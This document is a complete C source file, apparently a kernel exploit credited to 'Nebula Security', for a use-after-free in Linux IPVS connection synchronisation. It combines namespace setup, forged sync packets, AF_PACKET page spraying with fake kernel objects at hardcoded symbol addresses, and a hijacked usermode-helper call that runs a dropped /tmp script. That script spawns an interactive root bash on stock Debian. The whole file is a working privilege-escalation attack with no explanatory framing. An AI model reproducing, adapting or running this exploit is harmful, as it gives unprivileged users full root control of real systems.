/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/ip_vs.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>

extern uint64_t leak_image_slide(int map_count);
extern uint64_t leak_phys_map_base_stable(int map_count);

#define CHECK(x, what) do { if ((x) < 0) { perror(what); exit(1); } } while (0)
#define NLA_DATA_LOCAL(nla) ((void *)((char *)(nla) + NLA_HDRLEN))

#define SYNC_GROUP "224.0.0.81"
#define SYNC_PORT 8848
#define SYNC_BATCH 32
#define VIP "127.0.0.1"
#define RIP "127.0.0.2"
#define VPORT 5353
#define DPORT 5354
#define FWMARK 0x1337
#define ANCHOR_PAGES 131072
#define EXPIRY_SECONDS 5
#define EXPIRY_SETTLE_SECONDS 9
#define IPVS_OBJECT_SIZE 320
#define PHYS_PFN_FIRST 512
#define PHYS_PFN_SPAN 261000
#define PHYSMAP_EDGE_FAILURE 0xffff888080000000ULL

#define OFF_IPVS_NET 2024
#define OFF_FAKE_PE 0x800
#define OFF_PE_NAME 16
#define OFF_PE_SHOW 64
#define OFF_HELPER_PATH 0x900
#define OFF_FAKE_BPF_OPS 0xa00

#define LINK_LINUX_BANNER 0xffffffff821942c0ULL
#define LINK_ENVP_INIT 0xffffffff82c10020ULL
#define LINK_ARGV_INIT 0xffffffff82c10140ULL
#define LINK_INIT_NET 0xffffffff838b6540ULL
#define LINK_UMH_EXEC_WORK 0xffffffff810e73f0ULL
#define LINK_BPF_MAP_FREE_RCU_GP 0xffffffff81280310ULL
/* A read-only in-image address whose +2024 word is &init_net. */
#define LINK_STATIC_IPVS 0xffffffff8216f910ULL

struct ip_vs_sync_mesg_v1 {
	uint8_t reserved, syncid;
	uint16_t size;
	uint8_t nr_conns;
	int8_t version;
	uint16_t spare;
} __attribute__((packed));

struct ip_vs_sync_v4_wire {
	uint8_t type, protocol;
	uint16_t ver_size;
	uint32_t flags;
	uint16_t state, cport, vport, dport;
	uint32_t fwmark, timeout, caddr, vaddr, daddr;
} __attribute__((packed));

struct ip_vs_svcdest_compat {
	struct ip_vs_service_user s;
	struct ip_vs_dest_user d;
};

static void write_text_file(const char *path, const char *text)
{
	int fd = open(path, O_WRONLY);
	ssize_t length = (ssize_t)strlen(text);

	CHECK(fd, path);
	if (write(fd, text, (size_t)length) != length) {
		perror(path);
		exit(1);
	}
	close(fd);
}

static void enter_namespaces(void)
{
	char map[64];
	uid_t uid = getuid();
	gid_t gid = getgid();
	struct ifreq ifr = { 0 };
	int fd;

	CHECK(unshare(CLONE_NEWUSER), "unshare user");
	write_text_file("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %u 1\n", uid);
	write_text_file("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %u 1\n", gid);
	write_text_file("/proc/self/gid_map", map);
	CHECK(setresgid(0, 0, 0), "setresgid");
	CHECK(setresuid(0, 0, 0), "setresuid");
	CHECK(unshare(CLONE_NEWNET), "unshare net");

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	CHECK(fd, "lo socket");
	strcpy(ifr.ifr_name, "lo");
	CHECK(ioctl(fd, SIOCGIFFLAGS, &ifr), "lo get flags");
	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	CHECK(ioctl(fd, SIOCSIFFLAGS, &ifr), "lo set flags");
	close(fd);
}

static void autoload_ipvs(void)
{
	char request[256] = { 0 }, reply[8192];
	struct nlmsghdr *nlh = (struct nlmsghdr *)request;
	struct genlmsghdr *genl = NLMSG_DATA(nlh);
	struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
	struct nlattr *attr;
	ssize_t length;
	int fd;

	nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	nlh->nlmsg_type = GENL_ID_CTRL;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = 1;
	genl->cmd = CTRL_CMD_GETFAMILY;
	genl->version = 1;
	attr = (struct nlattr *)(request + NLMSG_ALIGN(nlh->nlmsg_len));
	attr->nla_type = CTRL_ATTR_FAMILY_NAME;
	attr->nla_len = NLA_HDRLEN + sizeof("IPVS");
	memcpy(NLA_DATA_LOCAL(attr), "IPVS", sizeof("IPVS"));
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(attr->nla_len);

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	CHECK(fd, "generic netlink socket");
	CHECK(bind(fd, (struct sockaddr *)&addr, sizeof(addr)), "generic bind");
	CHECK(sendto(fd, request, nlh->nlmsg_len, 0,
		     (struct sockaddr *)&addr, sizeof(addr)), "generic sendto");
	length = recv(fd, reply, sizeof(reply), 0);
	CHECK(length, "generic recv");
	nlh = (struct nlmsghdr *)reply;
	if (nlh->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *error = NLMSG_DATA(nlh);
		if (error->error) {
			errno = -error->error;
			perror("autoload IPVS");
			exit(1);
		}
	}
	close(fd);
	fprintf(stderr, "IPVS generic-netlink family resolved\n");
}

static int ipvs_sock(void)
{
	int fd = socket(AF_INET, SOCK_DGRAM, 0);
	CHECK(fd, "socket ipvs");
	return fd;
}

static void start_backup(int fd)
{
	struct ip_vs_daemon_user dm = { 0 };
	dm.state = IP_VS_STATE_BACKUP;
	dm.syncid = 1;
	strcpy(dm.mcast_ifn, "lo");
	CHECK(setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_STARTDAEMON,
			 &dm, sizeof(dm)), "IP_VS_SO_SET_STARTDAEMON");
}

static void add_service_dest(int fd)
{
	struct ip_vs_service_user svc = { 0 };
	struct ip_vs_svcdest_compat arg = { 0 };

	svc.protocol = IPPROTO_UDP;
	svc.fwmark = FWMARK;
	strcpy(svc.sched_name, "rr");
	CHECK(setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADD, &svc, sizeof(svc)),
	      "IP_VS_SO_SET_ADD");

	arg.s = svc;
	arg.d.addr = inet_addr(RIP);
	arg.d.port = htons(DPORT);
	arg.d.conn_flags = IP_VS_CONN_F_MASQ | IP_VS_CONN_F_ONE_PACKET;
	arg.d.weight = 1;
	CHECK(setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADDDEST, &arg, sizeof(arg)),
	      "IP_VS_SO_SET_ADDDEST");
}

static int sync_sender(void)
{
	struct sockaddr_in dst = { .sin_family = AF_INET,
		.sin_port = htons(SYNC_PORT), .sin_addr.s_addr = inet_addr(SYNC_GROUP) };
	struct in_addr src = { .s_addr = inet_addr(VIP) };
	int one = 1;
	int fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	CHECK(fd, "sync socket");
	CHECK(setsockopt(fd, IPPROTO_IP, IP_MULTICAST_IF, &src, sizeof(src)),
	      "IP_MULTICAST_IF");
	CHECK(setsockopt(fd, IPPROTO_IP, IP_MULTICAST_LOOP, &one, sizeof(one)),
	      "IP_MULTICAST_LOOP");
	CHECK(connect(fd, (struct sockaddr *)&dst, sizeof(dst)), "sync connect");
	return fd;
}

static void send_phase(int fd, unsigned count, unsigned timeout,
		       unsigned first_id)
{
	unsigned char buffer[sizeof(struct ip_vs_sync_mesg_v1) +
		SYNC_BATCH * sizeof(struct ip_vs_sync_v4_wire)];
	unsigned base;

	for (base = 0; base < count; base += SYNC_BATCH) {
		struct ip_vs_sync_mesg_v1 *header = (void *)buffer;
		unsigned nr = count - base;
		unsigned j;
		size_t length;

		if (nr > SYNC_BATCH)
			nr = SYNC_BATCH;
		memset(buffer, 0, sizeof(buffer));
		header->syncid = 1;
		header->nr_conns = (uint8_t)nr;
		header->version = 1;
		length = sizeof(*header) + nr * sizeof(struct ip_vs_sync_v4_wire);
		header->size = htons((uint16_t)length);
		for (j = 0; j < nr; j++) {
			unsigned id = first_id + base + j;
			struct ip_vs_sync_v4_wire *conn =
				(void *)(buffer + sizeof(*header) +
					 j * sizeof(struct ip_vs_sync_v4_wire));
			conn->protocol = IPPROTO_UDP;
			conn->ver_size = htons(sizeof(*conn));
			conn->flags = htonl(IP_VS_CONN_F_MASQ);
			conn->cport = htons((uint16_t)(1024U + id % 60000U));
			conn->vport = htons((uint16_t)(10000U + id));
			conn->dport = htons(DPORT);
			conn->timeout = htonl(timeout);
			conn->fwmark = htonl(FWMARK);
			conn->caddr = htonl(0xc6120001U + id);
			conn->vaddr = inet_addr(VIP);
			conn->daddr = inet_addr(RIP);
		}
		if (send(fd, buffer, length, 0) != (ssize_t)length) {
			perror("send sync batch");
			exit(1);
		}
		/* The backup thread has a small receive queue.  Avoid leaving a
		 * handful of long-timeout objects in otherwise reclaimable slabs. */
		usleep(20000);
	}
}

static int prepare_packet_ring_socket(void)
{
	int version = TPACKET_V1;
	int fd = socket(AF_PACKET, SOCK_RAW, 0);

	CHECK(fd, "AF_PACKET");
	CHECK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version,
			 sizeof(version)), "PACKET_VERSION");
	return fd;
}

static void *packet_page_spray_fd(size_t pages, int fd)
{
	struct tpacket_req req = { 0 };
	size_t bytes = pages * 4096UL;
	void *mapping;

	req.tp_block_size = 4096;
	req.tp_block_nr = (unsigned int)pages;
	req.tp_frame_size = 2048;
	req.tp_frame_nr = (unsigned int)(pages * 2);
	CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)),
	      "PACKET_RX_RING");
	mapping = mmap(NULL, bytes, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (mapping == MAP_FAILED) {
		perror("mmap packet ring");
		exit(1);
	}
	return mapping;
}

static void *packet_page_spray(size_t pages, int *fd_out)
{
	*fd_out = prepare_packet_ring_socket();
	return packet_page_spray_fd(pages, *fd_out);
}

static void store_u64(void *p, uint64_t value)
{
	memcpy(p, &value, sizeof(value));
}

static void stamp_anchor_pages(unsigned char *mapping, size_t pages,
			       uint64_t slide)
{
	for (size_t page = 0; page < pages; page++) {
		unsigned char *base = mapping + page * 4096;
		memset(base, 0, 4096);
		store_u64(base + OFF_IPVS_NET, LINK_INIT_NET + slide);
		store_u64(base + OFF_FAKE_PE + OFF_PE_NAME,
			  LINK_LINUX_BANNER + slide);
		store_u64(base + OFF_FAKE_PE + OFF_PE_SHOW,
			  LINK_BPF_MAP_FREE_RCU_GP + slide);
		/*
		 * bpf_map_free_deferred() calls ops->map_free() from a root
		 * system-unbound worker.  The same bytes also form a harmless
		 * terminal ip_vs_conn when seq_next follows the fake ops pointer.
		 */
		store_u64(base + OFF_FAKE_BPF_OPS + 24,
			  LINK_UMH_EXEC_WORK + slide);
		store_u64(base + OFF_FAKE_BPF_OPS + 80,
			  LINK_STATIC_IPVS + slide);
		memcpy(base + OFF_HELPER_PATH, "/tmp/_nebusec",
		       sizeof("/tmp/_nebusec"));
	}
}

static void stamp_fake_connections(unsigned char *mapping, size_t pages,
				   uint64_t physmap, uint64_t slide,
				   uint64_t slot)
{
	for (size_t page = 0; page < pages; page++) {
		unsigned char *base = mapping + page * 4096;

		memset(base, 0, 4096);
		/* Build the overlapping map payloads first.  Connection fields are
		 * stamped in a final pass so no map byte can accidentally clear the
		 * ipvs pointer of an adjacent terminator. */
		for (size_t off = IPVS_OBJECT_SIZE; off + 288 <= 4096;
		     off += 2 * IPVS_OBJECT_SIZE, slot++) {
			unsigned char *cp = base + off;
			unsigned char *map = cp - 0xa0;
			uint64_t pfn = PHYS_PFN_FIRST +
				(slot * 131071ULL) % PHYS_PFN_SPAN;
			uint64_t candidate = physmap + pfn * 4096;

			/*
			 * The stale connection is map->work for a fake bpf_map beginning
			 * 0xa0 bytes earlier. bpf_map_free_rcu_gp() initializes all of the
			 * unknown self-referential work-list links before queueing it. The
			 * root worker then reaches the persistent fake map ops table.
			 */
			store_u64(map, candidate + OFF_FAKE_BPF_OPS);
			store_u64(map + 40, candidate + OFF_HELPER_PATH);
			store_u64(map + 48, LINK_ARGV_INIT + slide);
			store_u64(map + 56, LINK_ENVP_INIT + slide);
			store_u64(map + 64, 0); /* UMH_NO_WAIT */
		}

		/* Every real slab slot first becomes a harmless terminator. */
		for (size_t off = 0; off + 288 <= 4096;
		     off += IPVS_OBJECT_SIZE) {
			unsigned char *cp = base + off;

			store_u64(cp + 80, LINK_STATIC_IPVS + slide);
			store_u64(cp + 248, 0);
			store_u64(cp + 256, 0);
		}

		/* Odd slots are active candidates. */
		for (size_t off = IPVS_OBJECT_SIZE; off + 288 <= 4096;
		     off += 2 * IPVS_OBJECT_SIZE) {
			unsigned char *cp = base + off;
			uint64_t candidate_slot = slot -
				((4096 - IPVS_OBJECT_SIZE) /
				 (2 * IPVS_OBJECT_SIZE) + 1) +
				(off - IPVS_OBJECT_SIZE) /
				(2 * IPVS_OBJECT_SIZE);
			uint64_t pfn = PHYS_PFN_FIRST +
				(candidate_slot * 131071ULL) % PHYS_PFN_SPAN;
			uint64_t candidate = physmap + pfn * 4096;

			store_u64(cp + 80, candidate);
			store_u64(cp + 248, candidate + OFF_FAKE_PE);
			store_u64(cp + 256, candidate + OFF_HELPER_PATH);
		}
	}
}

static void pin_cpu(unsigned cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	CHECK(sched_setaffinity(0, sizeof(set), &set), "sched_setaffinity");
}

static void prepare_root_helper(void)
{
	char script[384];
	int length;
	int fd = open("/tmp/_nebusec", O_WRONLY | O_CREAT | O_TRUNC, 0755);

	length = snprintf(script, sizeof(script),
		"#!/bin/sh\n"
		"exec 0</proc/%d/fd/0 1>/proc/%d/fd/1 2>/proc/%d/fd/2\n"
		"echo '[SUCCESS] stock Debian root; starting /bin/bash -i'\n"
		"exec /bin/bash -i\n",
		getpid(), getpid(), getpid());
	if (length < 0 || (size_t)length >= sizeof(script)) {
		fprintf(stderr, "root helper script overflow\n");
		exit(1);
	}
	CHECK(fd, "open helper");
	if (write(fd, script, (size_t)length) != length) {
		perror("write helper");
		exit(1);
	}
	CHECK(fchmod(fd, 0755), "chmod helper");
	close(fd);
}

static void walk_stale_table(void);

static void trigger_and_watch(unsigned char *map0, unsigned char *map1,
			      size_t pages_each)
{
	pid_t pid = fork();

	CHECK(pid, "fork stale-table trigger");
	if (pid == 0) {
		fprintf(stderr, "walking stale hash\n");
		walk_stale_table();
		_exit(3);
	}
	for (unsigned trial = 0; trial < 12000; trial++) {
		for (unsigned which = 0; which < 2; which++) {
			unsigned char *mapping = which ? map1 : map0;

			for (size_t page = 0; page < pages_each; page++) {
				unsigned char *base = mapping + page * 4096;

				for (size_t off = IPVS_OBJECT_SIZE;
				     off + 288 <= 4096;
				     off += 2 * IPVS_OBJECT_SIZE) {
					int retval;

					memcpy(&retval, base + off - 0xa0 + 68,
					       sizeof(retval));
					if (retval) {
						dprintf(STDOUT_FILENO,
							"UMH retval=%d ring=%u page=%zu off=%#zx\n",
							retval, which, page, off);
						_exit(2);
					}
				}
			}
		}
		usleep(1000);
	}
	for (;;)
		pause();
}

static void walk_stale_table(void)
{
	char buffer[8192];
	ssize_t total = 0, n;
	int fd = open("/proc/1/net/ip_vs_conn", O_RDONLY);

	CHECK(fd, "open ip_vs_conn");
	while ((n = read(fd, buffer, sizeof(buffer))) > 0)
		total += n;
	if (n < 0)
		perror("read ip_vs_conn");
	close(fd);
	fprintf(stderr, "stale table walk returned, bytes=%zd\n", total);
}

static void print_slab_state(void)
{
	const char *names[] = { "objects", "slabs", "partial", "offset" };
	char path[128], value[128];

	for (size_t i = 0; i < sizeof(names) / sizeof(names[0]); i++) {
		int fd;
		ssize_t nr;

		snprintf(path, sizeof(path), "/sys/kernel/slab/ip_vs_conn/%s",
			 names[i]);
		fd = open(path, O_RDONLY);
		if (fd < 0)
			continue;
		nr = read(fd, value, sizeof(value) - 1);
		close(fd);
		if (nr > 0) {
			value[nr] = 0;
			fprintf(stderr, "slab %s=%s", names[i], value);
		}
	}
}

int main(int argc, char **argv)
{
	unsigned count = argc > 1 ? (unsigned)strtoul(argv[1], NULL, 0) : 4096;
	size_t pages = argc > 2 ? strtoul(argv[2], NULL, 0) : 98304;
	int anchor_fd, sender, ctl;
	uint64_t physmap, slide;
	void *anchor;
	int spray_fds[2];
	void *spray_maps[2];

	enter_namespaces();
	autoload_ipvs();
	ctl = ipvs_sock();
	prepare_root_helper();
	slide = leak_image_slide(22);
	for (int trial = 0;; trial++) {
		physmap = leak_phys_map_base_stable(11);
		/* The Debian edge helper adds two slots to its window start.
		 * start+2 GiB therefore uniquely identifies a failed edge search
		 * that stayed at slot zero, not a measured direct-map edge. */
		if (physmap != PHYSMAP_EDGE_FAILURE)
			break;
		if (trial == 4) {
			fprintf(stderr, "physmap edge stayed at failure sentinel\n");
			exit(1);
		}
	}
	fprintf(stderr, "text_slide=%#lx physmap=%#lx\n",
		(unsigned long)slide, (unsigned long)physmap);
	fprintf(stderr, "allocating %u persistent anchor pages\n", ANCHOR_PAGES);
	anchor = packet_page_spray(ANCHOR_PAGES, &anchor_fd);
	stamp_anchor_pages(anchor, ANCHOR_PAGES, slide);
	/* Socket creation can allocate several unrelated slab pages.  Keep all
	 * of that metadata on the safe side of the UAF boundary. */
	spray_fds[0] = prepare_packet_ring_socket();
	spray_fds[1] = prepare_packet_ring_socket();
	setsockopt(ctl, IPPROTO_IP, IP_VS_SO_SET_FLUSH, NULL, 0);
	start_backup(ctl);
	sender = sync_sender();
	fprintf(stderr, "creating %u synchronized connections\n", count);
	send_phase(sender, count, 120, 0);
	sleep(2);
	add_service_dest(ctl);
	fprintf(stderr, "late-binding and expiring %u connections\n", count);
	send_phase(sender, count, EXPIRY_SECONDS, 0);
	sleep(EXPIRY_SETTLE_SECONDS);
	print_slab_state();
	if (argc > 3 && !strcmp(argv[3], "hold")) {
		fprintf(stderr, "holding after expiry, pid=%d\n", getpid());
		pause();
	}
	if (pages % 2) {
		fprintf(stderr, "packet page count must be even\n");
		exit(1);
	}
	fprintf(stderr, "allocating %zu mapped order-0 packet pages\n", pages);
	pin_cpu(0);
	spray_maps[0] = packet_page_spray_fd(pages / 2, spray_fds[0]);
	stamp_fake_connections(spray_maps[0], pages / 2, physmap, slide, 0);
	pin_cpu(1);
	spray_maps[1] = packet_page_spray_fd(pages / 2, spray_fds[1]);
	stamp_fake_connections(spray_maps[1], pages / 2, physmap, slide,
			       (pages / 2) * (4096 / IPVS_OBJECT_SIZE));
	fprintf(stderr,
		"stamp check safe.ipvs=%#lx active.ipvs=%#lx active.pe=%#lx "
		"map.ops=%#lx\n",
		(unsigned long)*(uint64_t *)(spray_maps[0] + 0xa50),
		(unsigned long)*(uint64_t *)(spray_maps[0] + 0x190),
		(unsigned long)*(uint64_t *)(spray_maps[0] + 0x238),
		(unsigned long)*(uint64_t *)(spray_maps[0] + 0xa0));
	fprintf(stderr,
		"packet pages=%zu fds=%d,%d maps=%p,%p anchor=%p "
		"text_slide=%#lx physmap=%#lx\n",
		pages, spray_fds[0], spray_fds[1], spray_maps[0], spray_maps[1],
		anchor, (unsigned long)slide,
		(unsigned long)physmap);
	trigger_and_watch(spray_maps[0], spray_maps[1], pages / 2);
	return 0;
}